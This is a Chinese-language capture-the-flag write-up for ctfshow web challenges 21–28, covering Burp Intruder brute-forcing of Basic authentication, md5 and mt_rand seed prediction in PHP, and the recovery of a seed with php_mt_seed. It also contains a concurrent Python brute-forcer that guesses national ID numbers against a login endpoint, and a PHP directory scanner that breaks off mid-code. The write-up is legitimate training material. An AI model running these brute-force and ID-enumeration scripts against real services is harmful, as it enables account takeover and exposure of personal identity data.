[{"data":1,"prerenderedAt":946},["ShallowReactive",2],{"content:\u002F2026\u002Fctfshow-web-baopo":3,"surround:\u002F2026\u002Fctfshow-web-baopo":935},{"id":4,"title":5,"body":6,"categories":868,"date":870,"description":871,"draft":872,"extension":873,"image":874,"meta":875,"navigation":877,"path":878,"permalink":878,"published":879,"readingTime":880,"recommend":827,"references":879,"seo":885,"sitemap":886,"stem":929,"tags":930,"type":932,"updated":933,"__hash__":934},"content\u002Fposts\u002F2026\u002Fctfshow-web-爆破.md","ctfshow-web-爆破",{"type":7,"value":8,"toc":826},"minimark",[9,12,16,24,36,42,45,51,54,60,67,73,79,85,91,97,102,105,108,114,117,123,127,130,133,136,140,143,150,153,156,159,165,171,178,182,185,191,202,208,211,217,220,224,227,230,236,239,245,247,250,253,259,262,264,267,273,276,279,289,293,300,303,306,309,313,316,330,333,336,342,348,358,363,366,372,375,381,387,390,392,395,401,404,410,414,417,421,424,427,430,436,442,445,451,454,460,462,466,472,475,481,485,520,523,537,543,547,589,593,596,630,633,669,675,681,686,692,694,697,700,706,712,714,717,723,726,729,735,738,745,749,752,755,763,769,772,778,781,787,789,792,798,809,811,817,823],[10,11],"hr",{},[13,14,15],"h2",{"id":15},"web21",[17,18,19],"p",{},[20,21],"img",{"alt":22,"src":23},"image-20261025011708989","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261025011708989.png",[17,25,26,27,31,32,35],{},"打开以后发现，这是一个有登录弹窗的网站，先",[28,29,30],"code",{"code":30},"F12","或者",[28,33,34],{"code":34},"ctrl+shift+I",",查看源码，网络这些，发现什么也没有",[17,37,38],{},[20,39],{"alt":40,"src":41},"image-20261025012642744","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261025012642744.png",[17,43,44],{},"尝试弱口令登录，admin\u002F1234,会发现，网络会有一条新的信息，点击查看，会看到一串多出来的，有=的，感觉像base64",[17,46,47],{},[20,48],{"alt":49,"src":50},"image-20261025012955971","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261025012955971.png",[17,52,53],{},"解码之后发现，返回了我刚才输入的admin和密码",[17,55,56],{},[20,57],{"alt":58,"src":59},"image-20261025013056117","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261025013056117.png",[17,61,62,63],{},"到了这一步，",[64,65,66],"strong",{},"没有别的提示了，用户登录界面，那就使用爆破",[17,68,69],{},[20,70],{"alt":71,"src":72},"image-20261026161145887","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026161145887.png",[17,74,75,76],{},"点击右边的红色小筐里的三条横杠，",[28,77,78],{"code":78},"send to intruder",[17,80,81],{},[20,82],{"alt":83,"src":84},"image-20261026161300719","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026161300719.png",[17,86,87,88],{},"点击add ,添加爆破点，注意一下格式，两个S把爆破点包围起来，",[28,89,90],{"code":90},"s+爆破点+s",[17,92,93],{},[20,94],{"alt":95,"src":96},"image-20261026162107721","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026162107721.png",[98,99,101],"h3",{"id":100},"为什么这里是爆破点为什么选择这里而不选择别的地方","为什么这里是爆破点？为什么选择这里而不选择别的地方？",[17,103,104],{},"因为这是个登录账户和密码的界面啊，我们要通过爆破去实现我们成功登录的目的，这样才能拿到flag,所以说，我们的目标就是成功登录，而这里，我们刚刚解码发现，这里是与账户和密码有关的，admin\u002F1234就是刚刚我们试的弱口令，所以选择这里是有原因的，并不是我们乱选的，当然，如果乱选也能选中这，那很敏锐了。",[17,106,107],{},"这题是给了爆破字典的，下载下来，",[17,109,110],{},[20,111],{"alt":112,"src":113},"image-20261026163012597","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026163012597.png",[17,115,116],{},"配置一下",[17,118,119],{},[20,120],{"alt":121,"src":122},"image-20261026163757460","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026163757460.png",[98,124,126],{"id":125},"为什么是这里选的是encode不是decode","为什么是这里选的是encode不是decode?",[17,128,129],{},"我们的爆破点的Basic认证的地方，basic认证是客户端编码，服务器解码，我们上方解码是为了看懂这个包，因为我们得到的是编码过后的内容，但是这个内容不是人类的自然语言。",[17,131,132],{},"可以理解为，客户端和服务器沟通是通过编码这种方式，而我们人类要想看懂它们之间的沟通内容，就要解码。",[17,134,135],{},"那在这里选择encode(编码)，是为了使用它们之间沟通的这种方式，不断的试字典里的密码，最终拿到结果",[98,137,139],{"id":138},"为什么要添加admin的prefix","为什么要添加admin:的prefix?",[17,141,142],{},"Basic认证负载的是整体，base64(用户名:密码)，用户名和密码之间用冒号：分隔开。",[17,144,145,146,149],{},"我们解码后也看到了它的格式是",[28,147,148],{"code":148},"admin:1234","，还有一点，看看字典里的内容，只有密码，没有帐户，所以admin:是固定的，不停的在试的，在爆破的是密码",[17,151,152],{},"还有一个方法就是：可以在字典里，每一行都加上admin:然后再进行爆破，但是这个方法明显就比加prefix的操作步骤要多",[98,154,155],{"id":155},"很关键但是易忽略的一点",[17,157,158],{},"Burp里的payload processing是自上而下执行的，所以prefix-admin:必须在base64前面，如果base64在prefix-admin:前面，就让admin:无法被编码，无法满足basic的格式",[17,160,161],{},[20,162],{"alt":163,"src":164},"image-20261026163836402","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026163836402.png",[17,166,167],{},[20,168],{"alt":169,"src":170},"image-20261026163922816","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026163922816.png",[17,172,173,174,177],{},"取消勾选下图中的红框部分，因为红框部分有",[28,175,176],{"code":176},"=","会导致一会编码错误",[98,179,181],{"id":180},"为什么勾选后会在发生错误呢","为什么勾选后会在=发生错误呢？",[17,183,184],{},"前边我们已经给密码base64编码了，如果勾选url,那就是又进行一次url编码，那就会把原来的等号=变成%3D,就不对了，服务器不认%3D,它认base64的编码内容，所以我们要取消勾选",[17,186,187],{},[20,188],{"alt":189,"src":190},"image-20261026164214001","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026164214001.png",[17,192,193,194,197,198,201],{},"这里我们把",[28,195,196],{"code":196},"Maximum concurrent requests","（并发\u002F线程）",[64,199,200],{},"减小","，更稳",[17,203,204],{},[20,205],{"alt":206,"src":207},"image-20261026164049518","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026164049518.png",[17,209,210],{},"配置完，点击爆破",[17,212,213],{},[20,214],{"alt":215,"src":216},"image-20261026164725104","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026164725104.png",[17,218,219],{},"会发现一堆401里边，有一个200",[98,221,223],{"id":222},"关于为什么是200而不是401","关于为什么是200,而不是401？",[17,225,226],{},"一堆401里有200，200可能性更大，并且200是存在，放这里就是密码正确的意思",[17,228,229],{},"401是未认证，认证失败，在这题就是，密码不对",[17,231,232],{},[20,233],{"alt":234,"src":235},"image-20261026164835366","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026164835366.png",[17,237,238],{},"点击查看一下",[17,240,241],{},[20,242],{"alt":243,"src":244},"image-20261026164920504","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026164920504.png",[10,246],{},[13,248,249],{"id":249},"web22",[17,251,252],{},"web22提示了，要去爆破子域名，flag.ctf.show,使用子域名在线爆破工具发现得到",[17,254,255],{},[20,256],{"alt":257,"src":258},"image-20261026174848329","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026174848329.png",[17,260,261],{},"去访问这几个，发现都拿不到flag,于是按别人的wp试了一下，去访问vip.ctf.show\u002Fwp.ctf.show发现都没有，按照描述，应当是题目现在访问vip.ctf.show拿不到flag了，题目问题，不纠结",[10,263],{},[13,265,266],{"id":266},"web23",[17,268,269],{},[20,270],{"alt":271,"src":272},"image-20261026201518245","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026201518245.png",[17,274,275],{},"打开之后就看到这样一段代码，黄色区域的代码是注释，可以知道这是出题人留下来的，一些信息，重点关注下方的php代码",[98,277,278],{"id":278},"读懂代码",[280,281,287],"pre",{"className":282,"code":284,"language":285,"meta":286},[283],"language-php","error_reporting(0);\u002F*关闭所有错误或警告输出，让代码看起来没有报错*\u002F\n\ninclude('flag.php');\nif(isset($_GET['token'])){\n    $token = md5($_GET['token']);\u002F*1.获取参数，我们在url写？token=...,GET就会获取我们输入的参数，2.对传入的参数进行运算3.把哈希值赋值给token*\u002F\n    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){\u002F*substr函数的作用*\u002F\n        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))\u002Fsubstr($token, 1,1)===intval(substr($token, 31,1))){\n            echo $flag;\n        }\n    }\n}else{\n    highlight_file(__FILE__);\n\n}\n\n","php","",[28,288,284],{"__ignoreMap":286},[98,290,292],{"id":291},"substr函数的作用","substr()函数的作用",[17,294,295,296,299],{},"又遇到substr了，记得在php伪协议里边遇到过，substr（）就是截取的作用，",[64,297,298],{},"返回的数据类型是字符串","具体就是",[17,301,302],{},"substr(要截取的东西，截取开始的位置，截取多少个字符)  加上===强等于，",[17,304,305],{},"第一个条件判断的意思是，截取token里存储的哈希值的第2个字符，它要强等于第15个字符，数据类型和数据内容都要相等，并且，第15个字符要强等于第18个字符串，因为这里有substr所以它们的数据类型都是字符串型，只需比较数据内容",[17,307,308],{},"在理解代码之前要限制的intval的作用",[310,311,312],"h4",{"id":312},"关于intval",[17,314,315],{},"其实就是把变量换成整数",[17,317,318,319,322,323,326,327],{},"第一个条件判断的意思是，",[64,320,321],{},"取哈希值的第二个字符，转换成整数，+哈希值的第十五个字符转换成整数+第十八个哈希值（这里没有intval所以这里不用转换","）  除以  ",[64,324,325],{},"哈希值的第二个字符","，要强等于 ",[64,328,329],{},"哈希值的第三十二个字符转换成整数的值",[17,331,332],{},"满足两个条件判断才能输出flag.",[98,334,335],{"id":335},"采用脚本爆破",[17,337,338],{},[20,339],{"alt":340,"src":341},"image-20261026205004800","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026205004800.png",[280,343,346],{"className":344,"code":345,"language":285,"meta":286},[283],"\u003C?php\nfor($i=0;$i\u003C10000;$i++){\u002F*先用for循环，循环1-10000里边的数，总有一个能有吧*\u002F\n        $token=md5($i);\u002F*把每一次试的值的哈希值给token*\u002F\n        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){\u002F*两个条件判断我都是复制粘贴过来的*\u002F\n                if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))\u002Fsubstr($token, 1,1)===intval(substr($token, 31,1))){\n                         echo 'tokrn='.$i.'md5='.$token;\u002F*如果符合两个条件，说明是题目想要的token了，那就输出它原本的值，并且把哈希值也输出出来*\u002F\n                }\n               \n        }\n}\n?>\n",[28,347,345],{"__ignoreMap":286},[17,349,350,353,354,357],{},[28,351,352],{"code":352},"echo 'tokrn='.$i.'md5='.$token;","其实就是用",[28,355,356],{"code":356},".","把它们拼起来",[17,359,360],{},[64,361,362],{},"非常重要的一点是，这个脚本我是本地访问，需要自己创建一个.php文件",[17,364,365],{},"访问",[17,367,368],{},[20,369],{"alt":370,"src":371},"image-20261026205348471","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026205348471.png",[17,373,374],{},"得到了两个符合条件判断的值，一个是422 另一个是1202，那就两个都试试呗",[17,376,377],{},[20,378],{"alt":379,"src":380},"image-20261026205441083","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026205441083.png",[17,382,383],{},[20,384],{"alt":385,"src":386},"image-20261026205456466","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026205456466.png",[17,388,389],{},"可以看到，这俩的flag都一样",[10,391],{},[13,393,394],{"id":394},"web24",[17,396,397],{},[20,398],{"alt":399,"src":400},"image-20261026211504892","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261026211504892.png",[98,402,278],{"id":403},"读懂代码-1",[280,405,408],{"className":406,"code":407,"language":285,"meta":286},[283],"error_reporting(0);\u002F*关闭所有错误或警告输出，让代码看起来没有报错*\u002F\ninclude(\"flag.php\");\nif(isset($_GET['r'])){\u002F*传入参数r*\u002F\n    $r = $_GET['r'];\n    mt_srand(372619038);\u002F*播种*\u002F\n    if(intval($r)===intval(mt_rand())){\u002F*r要强等于mt_rand*\u002F\n        echo $flag;\n    }\n}else{\n    highlight_file(__FILE__);\n    echo system('cat \u002Fproc\u002Fversion');\u002F*提醒了你版本问题*\u002F\n}\n\n",[28,409,407],{"__ignoreMap":286},[310,411,413],{"id":412},"关于mt_srand设置种子函数播种","关于mt_srand()设置种子函数（播种）",[17,415,416],{},"设置随机种子序列，没有返回值",[310,418,420],{"id":419},"关于mt_rand取种子函数","关于mt_rand()取种子函数",[17,422,423],{},"从随机种子序列中，取出随机数",[17,425,426],{},"这段代码的大致意思就是，播种完之后，传入参数取整数，要强等于取种子函数取出来的随机数",[17,428,429],{},"所以我们现在的目标就是要找出随机数，然后就让r=这个随机数，可以通过写脚本的方式来实现",[17,431,432],{},[20,433],{"alt":434,"src":435},"image-20261027004935192","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027004935192.png",[280,437,440],{"className":438,"code":439,"language":285,"meta":286},[283],"\u003C?php\nmt_srand(372619038);\u002F*设置随机序列-播种*\u002F\necho intval(mt_rand());\u002F*打出-从随机序列中取出的随机数*\u002F\n?>\n",[28,441,439],{"__ignoreMap":286},[17,443,444],{},"本地访问",[17,446,447],{},[20,448],{"alt":449,"src":450},"image-20261027005542073","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027005542073.png",[17,452,453],{},"现在我们已经拿到随机数了，接下来就让r=拿到的这个随机数",[17,455,456],{},[20,457],{"alt":458,"src":459},"image-20261027005759172","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027005759172.png",[10,461],{},[13,463,465],{"id":464},"web25有点巧妙","web25（有点巧妙）",[17,467,468],{},[20,469],{"alt":470,"src":471},"image-20261027153615290","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027153615290.png",[17,473,474],{},"一打开又是php代码，还是一样的先读懂代码要干什么才能拿到flag,再开始干活",[280,476,479],{"className":477,"code":478,"language":285,"meta":286},[283],"error_reporting(0);\u002F*关闭所有错误或警告输出，让代码看起来没有报错*\u002F\ninclude(\"flag.php\");\u002F*把 flag.php 的代码包含进来执行，$flag 也就跟着进来了*\u002F\nif(isset($_GET['r'])){\n    $r = $_GET['r'];\u002F*需要传入一个参数给r*\u002F\n    mt_srand(hexdec(substr(md5($flag), 0,8)));\u002F*从第一位开始，连续取8个字符，这8个字符是从flag进行MD5运算之后的结果中取的，取的是哈希值,或许你会疑惑，我都不知道flag啊，也没有在这串代码之前看到过$flag,那是哪里来的呢？别急，先往下看*\u002F\n    $rand = intval($r)-intval(mt_rand());\u002F*rand=r-第一个取随机数*\u002F\n    if((!$rand)){\u002F*$rand 为 0 时 !$rand 为真，才算过第一关*\u002F\n        if($_COOKIE['token']==(mt_rand()+mt_rand())){\u002F*需要在cookie里传入token,并且要弱等于 第二个取随机数 和 第三个取随机数的和*\u002F\n            echo $flag;\n        }\n    }else{\n        echo $rand;\u002F*如果r-第一次取随机数不等于0，那就输出他们之间的差值*\u002F\n    }\n}else{\n    highlight_file(__FILE__);\n    echo system('cat \u002Fproc\u002Fversion');\n}\n",[28,480,478],{"__ignoreMap":286},[98,482,484],{"id":483},"关于include","关于include()",[17,486,487,488,491,492,495,496,498,499,502,503,506,507,509,510,512,513,515,516,519],{},"include有包含的作用，",[28,489,490],{"code":490},"include(\"flag.php\");","在这里，包含的内容是flag.php 里的flag，包括里边的 ",[28,493,494],{"code":494},"$flag","，并且 ",[28,497,494],{"code":494}," 还是",[64,500,501],{},"全局变量","，这也就解释了为什么在 ",[28,504,505],{"code":505},"mt_srand(hexdec(substr(md5($flag), 0,8)));"," 这串代码执行之前，我们并没有看到定义或初始化 ",[28,508,494],{"code":494},"，但是这一串代码里又可以使用 ",[28,511,494],{"code":494},"。因为 ",[28,514,494],{"code":494}," 本来就是 flag.php 里定义的，经过 include 之后，它落在当前作用域（这里是全局作用域）里，所以这里可以直接用 ",[28,517,518],{"code":518},"md5($flag)","。",[17,521,522],{},"那为什么既然flag.php里已经包含了flag,我们不能直接拿到flag呢？",[17,524,525,526,529,530,533,534,519],{},"这就是include函数的作用了，包含，但是",[64,527,528],{},"包含并不等同于会输出","，它是把flag.php包含了，也把flag包含了，但是",[64,531,532],{},"没有echo flag",",就不会显示flag，我们",[64,535,536],{},"就无法看到flag",[17,538,539,540],{},"所以我们才需要满足下方的条件判断，让它 ",[28,541,542],{"code":542},"echo $flag",[98,544,546],{"id":545},"关于hexdec","关于hexdec()",[548,549,550,554,560,569,575,580],"ul",{},[551,552,553],"li",{},"hexdec：按 16 进制读取，输出 10 进制",[551,555,556,559],{},[28,557,558],{"code":558},"mt_srand(hexdec(substr(md5($flag), 0, 8)));"," 这一行可以拆开来，一步步看",[551,561,562,565,566,568],{},[28,563,564],{"code":564},"substr(md5($flag), 0, 8)"," 从 flag.php 中的 ",[28,567,494],{"code":494}," 全局变量，让它进行 MD5 运算，从第一位开始取 8 个字符",[551,570,571,574],{},[28,572,573],{"code":573},"hexdec(substr(md5($flag), 0, 8))"," 取完字符后，hexdec 按 16 进制读取，10 进制输出",[551,576,577,579],{},[28,578,558],{"code":558}," mt_srand() 把输出的 10 进制值，当成种子",[551,581,582,583,585,586],{},"由此可见，",[28,584,558],{"code":558}," 这一行的作用就是",[64,587,588],{},"用 flag 造种子",[98,590,592],{"id":591},"捋捋逻辑看拿到flag要满足什么从终点往前推","捋捋逻辑，看拿到flag要满足什么，从终点往前推",[17,594,595],{},"根据代码，要echo flag 就需要满足两个条件判断",[597,598,599,612],"ol",{},[551,600,601,602,605,608,611],{},"r-第一次取随机数=rand要等于0，那说明r要等于第一个随机数，那我怎么知道第一个随机数是啥",[310,603,604],{"id":604},"巧妙之处",[606,607],"br",{},[64,609,610],{},"让r=0",",0-第一个随机数=第一个随机数的负数，这就可以知道第一个随机数了",[551,613,614,615,618,620,623,627,629],{},"token=第二个随机数 +第三个随机数 ，我怎么能知道剩下的随机数呢？",[310,616,617],{"id":617},"逆推的思维",[606,619],{},[64,621,622],{},"已知：种子是固定的，随机数序列固定。现在手上已经有了第一个随机数，可以用工具（php_mt_seed）逆推种子，再按顺序取 3 次 mt_rand()，就能拿到第二个和第三个随机数",[310,624,626],{"id":625},"为什么可以逆推种子拿到第二第三个随机数","为什么可以逆推种子，拿到第二，第三个随机数？",[606,628],{},"因为mt_srand()利用flag造种子已经把种子固定了，种子固定，随机序列也是固定的，通过逆推得到种子后，第一次取随机值mt_rand()，对应的就是第一个随机数，第二次取随机值mt_rand()，对应的就是第二个随机数，第三次取随机值mt_rand()，对应的就是第三个随机数",[98,631,632],{"id":632},"具体操作",[548,634,635,644,653,666],{},[551,636,637,638,640],{},"利用r=0先拿到第一个随机数",[606,639],{},[20,641],{"alt":642,"src":643},"image-20261027164909949","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027164909949.png",[551,645,646,647,649],{},"我们现在需要利用工具逆推出种子，根据版本选择，种子可能输出一两个，都试试",[606,648],{},[20,650],{"alt":651,"src":652},"image-20261027172606413","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027172606413.png",[551,654,655,656],{},"拿到种子后，写脚本检验第一个随机数是否与 r=0 时试出来的一样",[657,658,659],"blockquote",{},[17,660,661,662,665],{},"注意：第一个随机数相同只能说明它是",[64,663,664],{},"候选种子之一","。因为种子是 32 位、而一次输出只有 31 位，平均会有两个不同的种子算出同一个第一个随机数，所以工具给出的候选种子都要逐个试 token，直到出 flag。",[551,667,668],{},"确认种子后，再取第二个+第三个随机数",[17,670,671],{},[20,672],{"alt":673,"src":674},"image-20261027172919739","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027172919739.png",[280,676,679],{"className":677,"code":678,"language":285,"meta":286},[283],"\u003C?php\nmt_srand(0x60eda542);\u002F*根据逆推工具得到的种子，播种*\u002F\necho mt_rand(),\"\u003Cbr>\";\u002F*查看种子的第一个随机序列是否正确，检验种子*\u002F\necho  mt_rand()+mt_rand();\u002F*输出第二个序列+第三个序列 *\u002F\n?>\n",[28,680,678],{"__ignoreMap":286},[548,682,683],{},[551,684,685],{},"r=第一个随机数；写token到cookie中",[17,687,688],{},[20,689],{"alt":690,"src":691},"image-20261027173031473","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261027173031473.png",[10,693],{},[13,695,696],{"id":696},"web26",[17,698,699],{},"发现，什么都不填写，直接点开始安装，也能连接到服务器，然后用burp抓包，就能拿到flag了",[17,701,702],{},[20,703],{"alt":704,"src":705},"image-20261028164155594","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261028164159725.png",[17,707,708],{},[20,709],{"alt":710,"src":711},"image-20261028164344407","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261028164352984.png",[10,713],{},[13,715,716],{"id":716},"web27",[17,718,719],{},[20,720],{"alt":721,"src":722},"image-20261029095819567","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029095819567.png",[17,724,725],{},"打开以后会发现，这是一个教务管理系统的登陆界面，先点击界面上所有的按键或者通道，看看能不能发现什么信息",[17,727,728],{},"点击学生名单",[17,730,731],{},[20,732],{"alt":733,"src":734},"image-20261029100017015","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029100017015.png",[17,736,737],{},"发现这写学生的身份证号码都差中间的8位，这八位刚好是出生的年月日，这算是生活常识，不信你去看看你的身份证中间是不是你的出生年月日。",[17,739,740,744],{},[20,741],{"alt":742,"src":743},"image-20261029100034981","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029100034981.png","这里又看到一个学院录取的通道，需要填写姓名和身份证号，根据上边的名单，现在只有身份证号是未知的，我们现在的目标就是找出符合这个人名的身份证号，所以我们这里需要爆破，试出身份证号",[98,746,748],{"id":747},"具体操作-1","具体操作：",[17,750,751],{},"脚本爆破",[17,753,754],{},"先爆破第一个人的身份证号，第一个人-“高先伊”",[280,756,761],{"className":757,"code":759,"language":760,"meta":286},[758],"language-python","# -*- coding: utf-8 -*-\n# 极速版: 并发16线程 + 年份智能排序(1990-2005优先) —— 预计30秒~1分钟命中\nimport urllib.request, urllib.parse\nfrom concurrent.futures import ThreadPoolExecutor\n\nURL  = 'https:\u002F\u002F0cfaf7bf-2eba-4daf-9e06-847205f0b99e.challenge.ctf.show\u002Finfo\u002Fcheckdb.php'\nNAME = '高先伊'; PRE = '621022'; END = '5237'\n\nW = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]; C = \"10X98765432\"\nDAYS = [31,28,31,30,31,30,31,31,30,31,30,31]\n\ndef build():\n    out = []\n    for y in list(range(1990, 2006)) + list(range(1960, 1990)) + list(range(2006, 2011)):\n        for m in range(1, 13):\n            dmax = 29 if (m == 2 and y % 4 == 0) else DAYS[m-1]\n            for d in range(1, dmax + 1):\n                b = '%04d%02d%02d' % (y, m, d)\n                i17 = PRE + b + END[:3]\n                if C[sum(int(a)*x for a, x in zip(i17, W)) % 11] == END[3]:\n                    out.append(i17 + END[3])\n    return out\n\ndef shoot(pid):\n    try:\n        data = urllib.parse.urlencode({'a': NAME, 'p': pid}).encode()\n        r = urllib.request.urlopen(urllib.request.Request(URL, data=data), timeout=15).read().decode()\n        if 'error' not in r:\n            print('=== 命中 ===', pid, r)\n            return pid\n    except Exception:\n        pass\n    return None\n\ncands = build()\nprint('候选 %d 条, 16并发开跑...' % len(cands))\nwith ThreadPoolExecutor(16) as pool:\n    for r in pool.map(shoot, cands):\n        if r:\n            print('答案:', r)\n            pool.shutdown(cancel_futures=True)   # 命中即停\n            break\nprint('完毕')\n","python",[28,762,759],{"__ignoreMap":286},[17,764,765],{},[20,766],{"alt":767,"src":768},"image-20261029105342251","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029105342251.png",[17,770,771],{},"拿到身份证后，去登录",[17,773,774],{},[20,775],{"alt":776,"src":777},"image-20261029105459649","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029105459649.png",[17,779,780],{},"可以知道账号和密码",[17,782,783],{},[20,784],{"alt":785,"src":786},"image-20261029105432671","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029105432671.png",[10,788],{},[13,790,791],{"id":791},"web28",[17,793,794],{},[20,795],{"alt":796,"src":797},"image-20261029152212287","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029152212287.png",[17,799,800,801,804,805,808],{},"这题一打开，发现页面，源码什么也没有，但是，url本身就有提示",[28,802,803],{"code":803},"\u002F0\u002F1\u002F2.txt","是",[28,806,807],{"code":807},"\u002F数字\u002F数字\u002F文件","说明，数字部分我们是可以爆破的",[17,810,751],{},[280,812,815],{"className":813,"code":814,"language":285,"meta":286},[283],"\u003C?php\n\u002F\u002F web28_dir2.php —— web28 终极版: 扫 \u002FA\u002FB\u002F 两层目录 (A,B ∈ 0..100), 找回 200 的目录 = 有 index 页 = flag所在\n\u002F\u002F 判据: 302=不存在(PHP守门员), 403=空目录, 200=命中!\nset_time_limit(0);\n$base = 'https:\u002F\u002F8c11b609-fd04-49d5-85b5-ba1b6af5d78c.challenge.ctf.show';   \u002F\u002F \u003C\u003C\u003C 换实例只改这里\n$nl = (php_sapi_name()=='cli') ? \"\\n\" : '\u003Cbr>';\n\n$tasks = [];\nforeach (range(0, 100) as $a) {\n  foreach (range(0, 100) as $b) {\n    $tasks[\"$a\u002F$b\"] = \"$base\u002F$a\u002F$b\u002F\";\n  }\n}\necho count($tasks) . \" 个组合, 32并发开跑...\" . $nl;\n\nfunction shoot32($tasks) {\n  $mh = curl_multi_init(); $chs = [];\n  foreach ($tasks as $key => $u) {\n    $ch = curl_init($u);\n    curl_setopt_array($ch, [\n      CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10,\n      CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,\n    ]);\n    curl_multi_add_handle($mh, $ch); $chs[$key] = $ch;\n  }\n  $active = 0;\n  do { curl_multi_exec($mh, $active); if ($active) curl_multi_select($mh, 1); } while ($active > 0);\n  $out = [];\n  foreach ($chs as $key => $ch) {\n    $b = curl_multi_getcontent($ch);\n    $c = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n    $out[$key] = [$c, $b === false ? '' : (string)$b];\n    curl_multi_remove_handle($mh, $ch); curl_close($ch);\n  }\n  curl_multi_close($mh);\n  return $out;\n}\n\n$done = 0; $hits = []; $expired = false;\nforeach (array_chunk($tasks, 32, true) as $batch) {\n  foreach (shoot32($batch) as $key => $t) {\n    list($code, $body) = $t; $done++;\n    if ($code === 0) continue;\n    \u002F\u002F 实例中途过期检测: 1.5万字节大404页\n    if (strlen($body) > 15000 && 